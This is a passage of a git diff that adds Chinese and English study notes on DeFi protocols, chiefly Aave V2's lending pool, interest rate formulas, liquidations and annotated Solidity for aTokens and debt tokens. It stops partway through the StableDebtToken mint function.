+3. ampl的事情有两个，一是“基本价值粒子”，这个在项目发布就固定了定位，就是2所讲的。另一个就是让人认可这个定位，将ampl用作区块链世界的计量单位，就是捕捉市场对这个定位的共识，这是一个极其困难长期的运营工作。
+
+### 合约（todo）
+https://github.com/ampleforth/ampleforth-contracts/blob/master/contracts/UFragments.sol  
+
+## 参考链接
+- 合约代码：https://etherscan.io/address/0xd0e3f82ab04b983c05263cf3bf52481fbaa435b1#code
+- AMPL中文文档：https://roninchow.gitbook.io/ampleforth-cn
+- ampl defi之道概述： https://www.chainnews.com/articles/183882030707.htm
+- 算稳定理： https://www.fxajax.com/20210625234951.html
+- amplforth 知乎: https://zhuanlan.zhihu.com/p/367334785  
+- ok ：https://www.okex.com/academy/zh/20200722-88
+
diff --git a/defi/Aave/README-en.md b/defi/Aave/README-en.md
new file mode 100644
index 000000000..ff445fbf0
--- /dev/null
+++ b/defi/Aave/README-en.md
@@ -0,0 +1,167 @@
+## AAVE
+
+
+### contract
+![architecture](./image/architecture.png) 
+The LendingPool contract is the main contract of the protocol。
+**LendingPool**
+- function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode)
+- function withdraw(address asset, uint256 amount, address to)
+
+- function borrow(address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf)
+
+  interestRateMode ：Stable: 1, Variable: 2
+
+- function repay(address asset, uint256 amount, uint256 rateMode, address onBehalfOf)
+
+- function setUserUseReserveAsCollateral(address asset, bool useAsCollateral)
+
+- function liquidationCall(address collateral, address debt, address user, uint256 debtToCover, bool receiveAToken)   
+
+  Liquidate positions with a health factor below 1；  
+  Liquidators can only close a certain amount of collateral defined by a close factor. Currently the close factor is 0.5；  
+  To check a user's health factor, use getUserAccountData(). 
+
+- function flashLoan(address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] modes, address onBehalfOf, bytes calldata params, uint16 referralCode)  
+
+  Your contract which receives the flash loaned amounts must conform to the IFlashLoanReceiver 
+
+-  function getUserAccountData(address user)
+    totalCollateralETH  
+    totalDebtETH  
+    availableBorrowsETH  
+    currentLiquidationThreshold  
+    ltv  
+    healthFactor
+
+
+**LendingPoolAddressesProvider**
+
+Addresses register of the protocol for a particular market. This contract is immutable and the address will never change
+
+**AToken**
+1. aTokens are interest-bearing tokens that are minted and burned upon deposit and withdraw ;
+2.  The aTokens' value is pegged to the value of the corresponding deposited asset at a 1:1 ratio,  
+3.  All interest collected by the aTokens reserves are distributed to aTokens holders directly by continuously increasing their wallet balance.  
+
+- function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s)
+
+  Allows a user to permit another account (or contract) to use their funds using a signed message. This enables gas-less transactions and single approval/transfer transactions.
+
+
+**Debt Tokens**
+
+Debt tokens are interest-accruing tokens that are minted and burned on borrow and repay, representing the debt owed by the token holder. There are 2 types of debt tokens:
+1. Stable debt tokens, representing a debt to the protocol with a stable interest rate
+2. Variable debt tokens, representing a debt to the protocol with a variable interest rate
+
+
+
+### interest rate
+
+Calculating rates in Aave is somewhat complicated due to the interest bearing nature of aTokens.
+1. liquidity of aTokens constantly changes which is making utilization based rates extremely dynamic (it's changing every second)
+2. depositor interest is not only based on interest, but also includes factors like flash premiums (so it's usually "a little more")
+
+- Rate: The rate is a purely utilization based metric which represents the current rate at a specific point in time.
+- Index: The index keeps track of reserve growth also incorporating things like the flash premium.
+To calculate correct historically archived deposit rates you should use index based rate calculation.
+
+**TIPS**
+- All rates queried on chain or subgraph, are expressed in RAY units i.e. 10^27.
+All emmissions are expressed in WAD unists i.e. 10^18.
+- APY: Compounding interest accrued by deposit or borrow on LendingPool
+- APR: Non Compounding rewards earned as part of LiquidityMinig
+
+
+### Liquidations
+When the 'health factor' of an account's total loans is below 1, anyone can make a liquidationCall() to the LendingPool contract, paying back part of the debt owed and receiving discounted collateral in return
+
+**Executing the liquidation call**
+1. Use getUserReserveData() on the Protocol Data Provider contract (for Solidity) or the UserReserve object (for GraphQL) with the relevant parameters.
+2. Max debt that can be cleared by single liquidation call is given by the current close factor (which is 0.5 currently).
+debtToCover = (userStableDebt + userVariableDebt) * LiquidationCloseFactorPercent
+You can also pass in type(uint).max as the debtToCover in liquidationCall() to liquidate the maximum amount allowed.
+3. For reserves that have usageAsCollateralEnabled as true, the currentATokenBalance and the current liquidation bonus gives the max amount of collateral that can be liquidated 👇🏻
+maxAmountOfCollateralToLiquidate = (debtAssetPrice * currentATokenBalance * liquidationBonus)/ collateralPrice
+
+ maximum LTV is calculate as the weighted average of the LTVs of the collateral assets and their value:
+
+LTV（loan to value ）
+MaxLTV = $ {\frac{\sum(TotalCollateral_iin ETH * LTV_i)} {  TotalCollateralinETH} } $
+
+
+LiquidationThreshold = $ {\frac{\sum (Collateral_iinETH * LiquidationThreshold_i)}{TotalCollateralinETH}} $
+
+$ H_f ={\frac{\sum (Collateral_iinETH * LiquidationThreshold_i)}{TotalBorrowinETH}}  $
+​
+ ![liqudate](./image/1.jpeg)
+​
+ 
+Liquidation Threshold
+LTV < liquidation threshold  （delta is a safety cushion for borrowers.）
+
+liquidation threshold : 50%-85%
+
+**reserve factor**
+The reserve factor allocates a share of the protocol's interests to a collector contract as reserve for the ecosystem.
+
+The overall risk rating is used to calibrate the Reserve Factor with factors ranging from 10% for the less risky assets to 35% for the riskiest. （10%-35%）
+
+The less volatile currencies are the stablecoins followed by ETH, they have the highest LTV at 75%, and the highest liquidation threshold at 80%.  
+The most volatile currencies REP and LEND have the lowest LTV at 35% and 40%. The liquidations thresholds are set at 65%
+
+![risk parameter](./image/risk.png)
+
+
+### Borrow Interest Rate
+
+Aave’s interest rate strategy is calibrated to manage liquidity risk and optimise utilisation. The borrow interest rates come from the Utilisation Rate . 
+
+- When capital is available: low interest rates to encourage loans.
+- When capital is scarce: high interest rates to encourage repayments of loans and additional deposits.
+
+The interest ratefollows the model:
+     
+​if $ \ U < U_{optimal}:  \hspace{1cm}  
+R_t = R_0 + \frac{U_t}{U_{optimal}} R_{slope1} $
+
+if $\ U≥ U_{optimal}: \hspace{1cm}  
+R_t = R_0 + R_{slope1} + \frac{U_t- U_{optimal}}{1- U_{optimal}} R_{slope2} $
+​
+**stable rate**
+
+Hence stable loans, that maintain their interest rate at issuance until the specific rebalancing conditions are met. For rebalancing the stable rate down, the loans stable rateneeds to be greater than the current stable rate plus a delta equal to 20%: .
+For rebalancing the stable rate up, these two conditions need to be met:
+- Utilisation Rate:  $\ U_t> 95\%  $
+- Overall Borrow Rate, the weighted average of all the borrow rates:  $\ R_O< 25\% $
+​
+### Deposit APY
+The borrow interest rates paid are distributed as yield for aToken holders who have deposited in the protocol, **excluding a share of yields sent to the ecosystem reserve defined by the reserve factor**. This interest rate is paid on the capital that is lent out then shared among all the liquidity providers. The deposit APY Dt：
+
+$\ D_t = U_t(SB_t*S_t+VB_t*V_t)(1-R_t) $
+
+- SBt the share of stable borrows;
+- St, the average stable rate
+- VBt, the share of variable borrows
+- Vt, the variable rate
+- Rt, the reserve factor
+   
+
+
+
+## AMM
+The new Aave AMM Liquidity Pool enables liquidity providers (“LPs”) of Uniswap and Balancer to use their LP tokens as collateral in the Aave Protocol. 
+
+
+## reference linking
+- <https://azfuller20.medium.com/lend-with-aave-v2-20bacceedade>
+- <https://github.com/austintgriffith/scaffold-eth/blob/lender-swap/packages/hardhat/contracts/AavEth.sol>
+- [V1-whitepaper](https://cryptorating.eu/whitepapers/Aave/Aave_Protocol_Whitepaper_v1_0.pdf)
+- [V2-whitepaper](https://cryptorating.eu/whitepapers/Aave/aave-v2-whitepaper.pdf)
+- aave v1文档：https://azfuller20.medium.com/lend-with-aave-v2-20bacceedade
+- aave v2 doc: https://docs.aave.com/risk/asset-risk/adding-an-asset
+- 原理： https://bbs.huaweicloud.com/blogs/detail/243235
+- 原理知乎： https://zhuanlan.zhihu.com/p/351383037
+- comp aave 对比： https://www.mgcj.net/35503.html
+- mediun aave: https://azfuller20.medium.com/lend-with-aave-v2-20bacceedade 
\ No newline at end of file
diff --git a/defi/Aave/contract/1-MathUtils.md b/defi/Aave/contract/1-MathUtils.md
new file mode 100644
index 000000000..493980a7b
--- /dev/null
+++ b/defi/Aave/contract/1-MathUtils.md
@@ -0,0 +1,121 @@
+# MathUtils
+
+数学计算库，主要用于计算利率。
+
+## SECONDS_PER_YEAR
+
+一年的秒数，不考虑闰年。
+
+```solidity
+/// @dev Ignoring leap years
+uint256 internal constant SECONDS_PER_YEAR = 365 days;
+```
+
+## calculateLinearInterest
+
+根据年化利率，计算一段时间内的线性累计数值。
+
+parameters:
+
+- rate 年化利率
+- lastUpdateTimestamp 上次更新时的时间戳，
+
+即时间区间的起点
+
+```solidity
+/**
+  * @dev Function to calculate the interest accumulated using a linear interest rate formula
+  * @param rate The interest rate, in ray
+  * @param lastUpdateTimestamp The timestamp of the last update of the interest
+  * @return The interest rate linearly accumulated during the timeDelta, in ray
+  **/
+
+function calculateLinearInterest(uint256 rate, uint40 lastUpdateTimestamp)
+  internal
+  view
+  returns (uint256)
+{
+  //solium-disable-next-line
+  // 计算距离当前区块的时间间隔
+  uint256 timeDifference = block.timestamp.sub(uint256(lastUpdateTimestamp));
+
+  // 时间间隔 / 一年的时间 * 年化收益率 + 1
+  return (rate.mul(timeDifference) / SECONDS_PER_YEAR).add(WadRayMath.ray());
+}
+```
+
+## calculateCompoundedInterest
+
+指数性计算时间间隔内的累计利率（根据时间计算复利）。
+
+实际需要计算的是 `(1 + ratePerSecond)^seconds` :
+
+1. 年化利率 / 一年的秒数，得到 `ratePerSecond`
+2. 计算 `1+ratePerSecond` 为底，时间秒数为幂的结果
+
+但在 solidity 中不支持指数运算，如果用遍历实现，将非常消耗 gas，固这里使用 [Binomial approximation](https://en.wikipedia.org/wiki/Binomial_approximation) (二项式近似) 原理，求近似值。即：
+
+$$
+(1+x)^{n}=1+nx+\frac{1}{2}n(n-1)x^2+\frac{1}{6}n(n-1)(n-2)x^3+...
+$$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=(1%2Bx)^{n}=1%2Bnx%2B\frac{1}{2}n(n-1)x^2%2B\frac{1}{6}n(n-1)(n-2)x^3%2B..." style="display: block;margin: 24px auto;" /> -->
+
+我们只取前三项，即到 x 的三次方为止，后面的项由于已经很小，所以可以舍弃，对总体结果影响不大(实际结果略少于理论值)。这样就是兼具节省 gas 和准确性的计算方案。
+
+parameters:
+
+- rate 年化利率
+- lastUpdateTimestamp 时间区间的起点
+- currentTimestamp 时间区间的终点
+
+```solidity
+/**
+  * @dev Function to calculate the interest using a compounded interest rate formula
+  * To avoid expensive exponentiation, the calculation is performed using a binomial approximation:
+  *
+  *  (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3...
+  *
+  * The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions
+  * The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods
+  *
+  * @param rate The interest rate, in ray
+  * @param lastUpdateTimestamp The timestamp of the last update of the interest
+  * @return The interest rate compounded during the timeDelta, in ray
+  **/
+function calculateCompoundedInterest(
+  uint256 rate,
+  uint40 lastUpdateTimestamp,
+  uint256 currentTimestamp
+) internal pure returns (uint256) {
+  //solium-disable-next-line
+  // 计算时间间隔
+  uint256 exp = currentTimestamp.sub(uint256(lastUpdateTimestamp));
+
+  // 若间隔为0直接返回1，因为没有累计利息
+  if (exp == 0) {
+    return WadRayMath.ray();
+  }
+
+  // 公式中的 n-1
+  uint256 expMinusOne = exp - 1;
+
+  // 公式中的 n-2
+  uint256 expMinusTwo = exp > 2 ? exp - 2 : 0;
+
+  // 秒化利率
+  uint256 ratePerSecond = rate / SECONDS_PER_YEAR;
+
+  // x的平方
+  uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond);
+  // x的三次方
+  uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond);
+
+  // [n/2*(n-1)]*x^2
+  uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2;
+  // [n/6*(n-1)*(n-2)*x^3
+  uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6;
+
+  // 计算复利结果
+  return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm);
+}
+```
diff --git a/defi/Aave/contract/2-Configuration.md b/defi/Aave/contract/2-Configuration.md
new file mode 100644
index 000000000..7ef4f3e49
--- /dev/null
+++ b/defi/Aave/contract/2-Configuration.md
@@ -0,0 +1,89 @@
+# Configuration
+
+## ReserveConfiguration
+
+以 uint256 数值上的不同位的数值来表示资产不同的配置。
+
+## UserConfiguration
+
+以 uint256 数值上的不同位的数值来表示用户不同的配置，该配置仅限内部使用，用户无法外部更改。主要是用户对于资产的设置，对于所有特定资产，都有两位数来表示，是否有抵押，是否有借贷。
+
+```js
+// UserConfiguration.data类似以下二进制形式
+// 每两位数代表一个资产的配置
+// 第一位表示用户是否有该类资产抵押在协议中
+// 第二位表示用户是否有该类资产的借贷
+00 // 没有抵押，没有借贷
+01 // 没有抵押，有借贷
+10 // 有抵押，没有借贷
+11 // 有抵押，有借贷
+```
+
+上述是示例，实际有256位，即最多表达 128 个资产的配置。
+
+### setBorrowing
+
+设置用户在某特定上资产有无借贷
+
+```solidity
+/**
+  * @dev Sets if the user is borrowing the reserve identified by reserveIndex
+  * @param self The configuration object
+  * @param reserveIndex The index of the reserve in the bitmap
+  * @param borrowing True if the user is borrowing the reserve, false otherwise
+  **/
+function setBorrowing(
+  DataTypes.UserConfigurationMap storage self,
+  uint256 reserveIndex, // 资产的序号
+  bool borrowing  // 是否有借贷
+) internal {
+  require(reserveIndex < 128, Errors.UL_INVALID_INDEX);
+  // 改变表示资产配置两位数的第二位
+  self.data =
+    (self.data & ~(1 << (reserveIndex * 2))) |
+    (uint256(borrowing ? 1 : 0) << (reserveIndex * 2));
+}
+```
+
+### setUsingAsCollateral
+
+设置用户在某特定上资产有无抵押
+
+```solidity
+/**
+  * @dev Sets if the user is using as collateral the reserve identified by reserveIndex
+  * @param self The configuration object
+  * @param reserveIndex The index of the reserve in the bitmap
+  * @param usingAsCollateral True if the user is usin the reserve as collateral, false otherwise
+  **/
+function setUsingAsCollateral(
+  DataTypes.UserConfigurationMap storage self,
+  uint256 reserveIndex, // 资产的序号
+  bool usingAsCollateral  // 是否有抵押
+) internal {
+  require(reserveIndex < 128, Errors.UL_INVALID_INDEX);
+  // 改变表示资产配置两位数的第一位
+  self.data =
+    (self.data & ~(1 << (reserveIndex * 2 + 1))) |
+    (uint256(usingAsCollateral ? 1 : 0) << (reserveIndex * 2 + 1));
+}
+```
+
+### isBorrowingAny
+
+用户是否有借贷过任何一个资产。
+
+```solidity
+// 每个资产第二位是1，第一位是0，即都是 01 的形式
+uint256 internal constant BORROWING_MASK =
+    0x5555555555555555555555555555555555555555555555555555555555555555;
+
+/**
+  * @dev Used to validate if a user has been borrowing from any reserve
+  * @param self The configuration object
+  * @return True if the user has been borrowing any reserve, false otherwise
+  **/
+function isBorrowingAny(DataTypes.UserConfigurationMap memory self) internal pure returns (bool) {
+  return self.data & BORROWING_MASK != 0;
+}
+```
diff --git a/defi/Aave/contract/3-AToken.md b/defi/Aave/contract/3-AToken.md
new file mode 100644
index 000000000..b111ee5d2
--- /dev/null
+++ b/defi/Aave/contract/3-AToken.md
@@ -0,0 +1,185 @@
+# AToken
+
+## methods
+
+### initiallize
+
+```solidity
+/**
+  * @dev Initializes the aToken
+  * @param pool The address of the lending pool where this aToken will be used
+  * @param treasury The address of the Aave treasury, receiving the fees on this aToken
+  * @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH)
+  * @param incentivesController The smart contract managing potential incentives distribution
+  * @param aTokenDecimals The decimals of the aToken, same as the underlying asset's
+  * @param aTokenName The name of the aToken
+  * @param aTokenSymbol The symbol of the aToken
+  */
+function initialize(
+  ILendingPool pool,  // LendingPool address
+  address treasury,   // 金库地址
+  address underlyingAsset,  // 抵押资产地址
+  IAaveIncentivesController incentivesController, // 激励控制合约
+  uint8 aTokenDecimals, // aToken 的精度
+  string calldata aTokenName, // aToken name
+  string calldata aTokenSymbol, // aToken Symbol
+  bytes calldata params // 入参
+) external override initializer {
+  uint256 chainId;
+
+  //solium-disable-next-line
+  assembly {
+    chainId := chainid()  // 获取chainID
+  }
+
+  DOMAIN_SEPARATOR = keccak256(
+    abi.encode(
+      EIP712_DOMAIN,
+      keccak256(bytes(aTokenName)),
+      keccak256(EIP712_REVISION),
+      chainId,
+      address(this)
+    )
+  );
+
+  _setName(aTokenName);
+  _setSymbol(aTokenSymbol);
+  _setDecimals(aTokenDecimals);
+
+  _pool = pool;
+  _treasury = treasury;
+  _underlyingAsset = underlyingAsset;
+  _incentivesController = incentivesController;
+
+  emit Initialized(
+    underlyingAsset,
+    address(pool),
+    treasury,
+    address(incentivesController),
+    aTokenDecimals,
+    aTokenName,
+    aTokenSymbol,
+    params
+  );
+}
+```
+
+### mint
+
+为抵押资产的用户发行 aToken，只能被 `LendingPool` 合约调用，用于管理额外的状态。该方法只能被 LendingPool 合约调用。
+
+```solidity
+/**
+  * @dev Mints `amount` aTokens to `user`
+  * - Only callable by the LendingPool, as extra state updates there need to be managed
+  * @param user The address receiving the minted tokens
+  * @param amount The amount of tokens getting minted
+  * @param index The new liquidity index of the reserve
+  * @return `true` if the  previous balance of the user was 0
+  */
+function mint(
+  address user,   // aToken接收者
+  uint256 amount, // 数量
+  uint256 index   // 数量缩放比例，一般传入 reserve.liquidityIndex
+) external override onlyLendingPool returns (bool) {
+  // 这里调用的是 ERC20.balanceOf() 返回的是不计息的数量
+  uint256 previousBalance = super.balanceOf(user);
+
+  /* index 从池子创建以来 每单位liquidity累计的本息乘数因子
+   * 比如总本金为 A, 年利率为 m , 复利计算方式, N 年后的总金额 TotalAmount(本金 + 利息总额) = A * (1+m)^N   
+   * 这里 index => (1+m)^N , 上述公式就可以变为 TotalAmount = A * index
+   * 其中 A 就表示为 aToken 的总量, TotalAmount 表示为对应的收益总量
+   */
+
+  /* amountScaled = amount / index
+   * 假设 TotalAmount = A * index 
+   * 现在假设 index 保持不变, ( TotalAmount + amount ) = ( A + X ) * index 要求其中X 的值  
+   * 那么计算可得 X = amount / index  
+   */
+  uint256 amountScaled = amount.rayDiv(index);
+  require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT);
+  _mint(user, amountScaled);  // ERC20._mint()
+
+  emit Transfer(address(0), user, amount);
+  emit Mint(user, amount, index);
+
+  // 返回用户在该抵押品的数量，之前是否为0
+  return previousBalance == 0;
+}
+```
+
+#### amount and amountScaled
+
+- aToken 重载了 ERC20.balanceOf 方法，每次查询余额是包含了累计利息的数量
+- 为了保证本金和累计利息的比例不变，这里要对 amount 进行缩放，实际 mint 的数量是 amountScaled
+- 假设用户在 t_current 时刻存入 amount 数量，那么如果 t_0 时刻（池子创建时）存入了 amountScaled ，通过复利累计本息，直到 t_current 时刻，其数量正好等于 amount
+- 即 `amount = amountScaled * index`，这里的 index 记录的就是 t_0 时刻到当前 t_current 时刻，流动性累计的本息乘数因子
+- amountScaled 就是 aToken 实际记录的数量，由于全部缩放至 t_0 时刻，这样就抹平了不同抵押操作的时间和利率的不同，可以全部统一计算
+
+### burn
+
+销毁 aToken，转给调用者原资产，即 aToken 对应的抵押资产。销毁的实际数量需要缩放，逻辑和 mint 一致。该方法只能被 LendingPool 合约调用。
+
+```solidity
+/**
+  * @dev Burns aTokens from `user` and sends the equivalent amount of underlying to `receiverOfUnderlying`
+  * - Only callable by the LendingPool, as extra state updates there need to be managed
+  * @param user The owner of the aTokens, getting them burned
+  * @param receiverOfUnderlying The address that will receive the underlying
+  * @param amount The amount being burned
+  * @param index The new liquidity index of the reserve
+  **/
+function burn(
+  address user, // 用户地址
+  address receiverOfUnderlying, // 原资产地址
+  uint256 amount, // 赎回数量
+  uint256 index // reserve.liquidityIndex
+) external override onlyLendingPool { // 只能被 LendingPool 调用
+  uint256 amountScaled = amount.rayDiv(index);
+  require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT);
+  _burn(user, amountScaled);
+
+  IERC20(_underlyingAsset).safeTransfer(receiverOfUnderlying, amount);
+
+  emit Transfer(user, address(0), amount);
+  emit Burn(user, receiverOfUnderlying, amount, index);
+}
+```
+
+### balanceOf
+
+重载了 ERC20.balanceOf 方法，返回的是债务本息总额 (本金 + 累计利息) 的数量，即用户查询 aToken 数量，总是包含了利息收益。
+
+`NormalizedIncome` 是每单位流动性的累计的本息总额，注意这里需要用 amountScaled 计算，即缩放成 t_0 时刻的数量。
+
+```solidity
+/**
+  * @dev Calculates the balance of the user: principal balance + interest generated by the principal
+  * @param user The user whose balance is calculated
+  * @return The balance of the user
+  **/
+function balanceOf(address user)
+  public
+  view
+  override(IncentivizedERC20, IERC20)
+  returns (uint256)
+{
+  // ---------------公式详解--------------
+  // ---------------overall borrow rate(在reserve interest rate strategy中计算)也就是加权借贷利率
+  // overall borrow rate = (variable debt * variable rate + stable debt * stable rate) / total debt
+  // ---------------current liquidity rate(在reserve interest rate strategy中计算)也就是存款利率
+  // current liquidity rate=overall borrow rate * u(资金利用率) * (1-金库预留部分)
+  // ---------------计算cumulated Liquidity Interest
+  // x = current liquidity rate, n=time
+  // cumulated Liquidity Interest = (1+x)^n = 1 + n*x  这里是泰勒一次展开
+  // ---------------计算liquidity index(其实和NormalizedIncome是同一个数字同一种算法)
+  // 这是reserve维护的一个storage变量, 每次都是累乘
+  // 每次pool deposit/withdraw/repay/swapborrowratemode等等操作的时候,都会更新
+  // liquidity index *= cumulated Liquidity Interest
+  // ---------------计算NormalizedIncome
+  // NormalizedIncome = cumulated Liquidity Interest * liquidity index
+  // return amountScaled * NormalizedIncome
+  // -------------------------
+  return super.balanceOf(user).rayMul(_pool.getReserveNormalizedIncome(_underlyingAsset));
+}
+```
diff --git a/defi/Aave/contract/4-DebtToken.md b/defi/Aave/contract/4-DebtToken.md
new file mode 100644
index 000000000..dd4e1486f
--- /dev/null
+++ b/defi/Aave/contract/4-DebtToken.md
@@ -0,0 +1,537 @@
+# DebtToken
+
+当用户从协议中贷出资产，获得 1:1 数量的 debt tokens。债务代币的大部分 ERC20 方法都被禁用，因为债务是不可转让。有两种类型债务币：
+
+- `Stable debt tokens` 稳定利率债务币
+- `Variable debt tokens` 浮动利率债务币
+
+## EIP20 Methods
+
+虽然 debt tokens 大部分遵循 ERC20 标准，但由于债务的特殊性，没有实现 `transfer()` 和 `allowance()`（这两个方法会直接revert，不会执行） 。
+
+> `balanceOf()` 返回用户的债务数量，包含累计的利息
+
+> `totalSupply()` 返回协议上所有用户在该资产上的总债务，包含累计利息。
+
+## Shared Methods
+
+### UNDERLYING_ASSET_ADDRESS
+
+返回 aToken 对应的抵押资产地址，例如存入 WETH, 那么生成的 aWETH 对应的资产为 WETH
+
+```solidity
+/**
+  * @dev Returns the address of the underlying asset of this aToken (E.g. WETH for aWETH)
+  **/
+function UNDERLYING_ASSET_ADDRESS() public view returns (address) {
+  return _underlyingAsset;
+}
+```
+
+### POOL
+
+返回 LendingPool 的地址
+
+```solidity
+/**
+  * @dev Returns the address of the lending pool where this aToken is used
+  **/
+function POOL() public view returns (ILendingPool) {
+  return _pool;
+}
+```
+
+### approveDelegation
+
+`msg.sender` 授权给目标地址 `delegatee` 债务额度，承诺可代 `delegatee` 偿还一定数量的债务。
+
+```solidity
+/**
+  * @dev delegates borrowing power to a user on the specific debt token
+  * @param delegatee the address receiving the delegated borrowing power
+  * @param amount the maximum amount being delegated. Delegation will still
+  * respect the liquidation constraints (even if delegated, a delegatee cannot
+  * force a delegator HF to go below 1)
+  **/
+function approveDelegation(address delegatee, uint256 amount) external override {
+  _borrowAllowances[_msgSender()][delegatee] = amount;
+  emit BorrowAllowanceDelegated(_msgSender(), delegatee, _getUnderlyingAssetAddress(), amount);
+}
+```
+
+### borrowAllowance
+
+查询目标地址 `fromUser` 提供给 `toUser` 可代还债务的数量
+
+```solidity
+/**
+  * @dev returns the borrow allowance of the user
+  * @param fromUser The user to giving allowance
+  * @param toUser The user to give allowance to
+  * @return the current allowance of toUser
+  **/
+function borrowAllowance(address fromUser, address toUser)
+  external
+  view
+  override
+  returns (uint256)
+{
+  return _borrowAllowances[fromUser][toUser];
+}
+```
+
+## Stable Debt Methods
+
+稳定债务 token 的主要方法
+
+### getSupplyData
+
+返回债务本金（不包含利息），债务本息（包含利息），平均利率，数据更新时间.  
+需要注意的是, 这里所说的 `平均利率 = 池子中贷款总利息 / 池子中的贷款总金额`. 举例来说就是池子中总共有 100$, 用户 A 借了 40$ 利率是 20%, 用户 B 借了 60$ 利率是 30%, 那么 `平均利率 = (40 * 20% + 60 * 30%) / 100 = 26%`  
+
+```solidity
+/**
+  * @dev Returns the principal and total supply, the average borrow rate and the last supply update timestamp
+  **/
+function getSupplyData()
+  public
+  view
+  override
+  returns (
+    uint256,
+    uint256,
+    uint256,
+    uint40
+  )
+{
+  uint256 avgRate = _avgStableRate;
+  return (super.totalSupply(), _calcTotalSupply(avgRate), avgRate, _totalSupplyTimestamp);
+}
+```
+
+### getTotalSupplyAndAvgRate
+
+返回债务总数量（包含利息）和平均利率
+
+### principalBalanceOf
+
+返回用户的债务数量（不包含利息）
+
+### getAverageStableRate
+
+返回平均稳定利率
+
+### getUserStableRate
+
+返回用户的稳定利率（债务的固定利率）
+
+## Variable Debt Methods
+
+### scaledBalanceOf
+
+返回用户的债务数量（不包含利息）
+
+### scaledTotalSupply
+
+返回总债务数量（不包含利息）
+
+### getScaledUserBalanceAndSupply
+
+返回用户的债务数量（不包含利息）和总债务数量（不包含利息）
+
+## StableDebtToken
+
+### mint-stable
+
+生成固定利率的 StableDebtToken 转给借贷还款人。
+
+传入的 `rate` 由利率更新模块更新，其值与流动性利用率高度相关 [ReserveInterestRateStrategy.calculateInterestRates](./7-DefaultReserveInterestRateStrategy.md#calculateInterestRates)
+
+函数中计算了两种固定利率：
+
+- `newStableRate` 用户的平均利率（包含当前贷款）
+  - 由当前用户借贷后，对用户的利息和债务的加权平均得出
+  - `(usersStableRate * currentBalance + amount * rate) / (currentBalance + amount)`
+  - 该值会更新在 `_usersStableRate` 这个 mapping 变量中，即每个借贷用户都会单独记录一个该值
+  - 用户的平均利率会用来计算用户当前的债务本息总额，例如 `StableDebtToken.balanceOf()` 会使用该公式来计算
+- `currentAvgStableRate` 池子平均的固定利率，计算逻辑上述一致，但是用的池子的总债务数量计算
+  - `(currentAvgStableRate * previousSupply + rate * amount) / (previousSupply + amount)`
+- 上述三个公式在V2白皮书 3.4 Stable Debt
+
+```solidity
+// 缓存计算结果的结构
+struct MintLocalVars {
+  uint256 previousSupply; // 之前的总发行量
+  uint256 nextSupply; // 即将更新的总发行量
+  uint256 amountInRay;  // 新增数量（单位是ray）
+  uint256 newStableRate;  // 平均固定利率（用户）
+  uint256 currentAvgStableRate; // 平均固定利率（池子）
+}
+
+/**
+  * @dev Mints debt token to the `onBehalfOf` address.
+  * -  Only callable by the LendingPool
+  * - The resulting rate is the weighted average between the rate of the new debt
+  * and the rate of the previous debt
+  * @param user The address receiving the borrowed underlying, being the delegatee in case
+  * of credit delegate, or same as `onBehalfOf` otherwise
+  * @param onBehalfOf The address receiving the debt tokens
+  * @param amount The amount of debt tokens to mint
+  * @param rate The rate of the debt being minted
+  **/
+function mint(
+  address user, // 借贷受益人
+  address onBehalfOf, // 借贷还款人
+  uint256 amount, // 借贷数量
+  uint256 rate  // 当前新贷款使用的借贷利率（由利率更新策略模块更新）
+) external override onlyLendingPool returns (bool) {
+  MintLocalVars memory vars;
+
+  // 如果贷款受益人和还款人不同，需要减去还款人对受益人授权的还款额度
+  if (user != onBehalfOf) {
+    _decreaseBorrowAllowance(onBehalfOf, user, amount);
+  }
+
+  // 获取债务本息总额（本金+利息），缩放数量的增量
+  (, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(onBehalfOf);
+
+  vars.previousSupply = totalSupply(); // 缓存池子债务总额 （本金+利息）
+  vars.currentAvgStableRate = _avgStableRate; // 缓存平均固定利率
+  vars.nextSupply = _totalSupply = vars.previousSupply.add(amount); // 计算增加后的债务总额
+
+  // 将数量从wad单位转成ray单位
+  // 1 wad = 1e18
+  // 1 ray = 1e27
+  vars.amountInRay = amount.wadToRay();
+
+  // 计算固定利率（用户的）
+  // 增加后的累计总利息 / 增加后的本金总额
+  // (usersStableRate * currentBalance + amount * rate) / (currentBalance + amount)
+  // rate 这笔新贷款使用的利率，由利率更新策略合约更新
+  // _usersStableRate[onBehalfOf] 是针对用户记录的固定利率，和池子中的固定利率可能不同
+  vars.newStableRate = _usersStableRate[onBehalfOf]
+    .rayMul(currentBalance.wadToRay())
+    .add(vars.amountInRay.rayMul(rate))
+    .rayDiv(currentBalance.add(amount).wadToRay());
+
+  // 计算结果是uint256 后面需要转成uint128，所以这里要检查大小
+  require(vars.newStableRate <= type(uint128).max, Errors.SDT_STABLE_DEBT_OVERFLOW);
+  _usersStableRate[onBehalfOf] = vars.newStableRate;
+
+  // 记录更新时间
+  //solium-disable-next-line
+  _totalSupplyTimestamp = _timestamps[onBehalfOf] = uint40(block.timestamp);
+
+  // Calculates the updated average stable rate
+  // 计算池子新的平均固定利率
+  // 增加后的累计总利息 / 增加后的本金总额
+  // (currentAvgStableRate * previousSupply + rate * amount) / (previousSupply + amount)
+  vars.currentAvgStableRate = _avgStableRate = vars
+    .currentAvgStableRate
+    .rayMul(vars.previousSupply.wadToRay())
+    .add(rate.rayMul(vars.amountInRay))
+    .rayDiv(vars.nextSupply.wadToRay());
+
+  _mint(onBehalfOf, amount.add(balanceIncrease), vars.previousSupply);
+
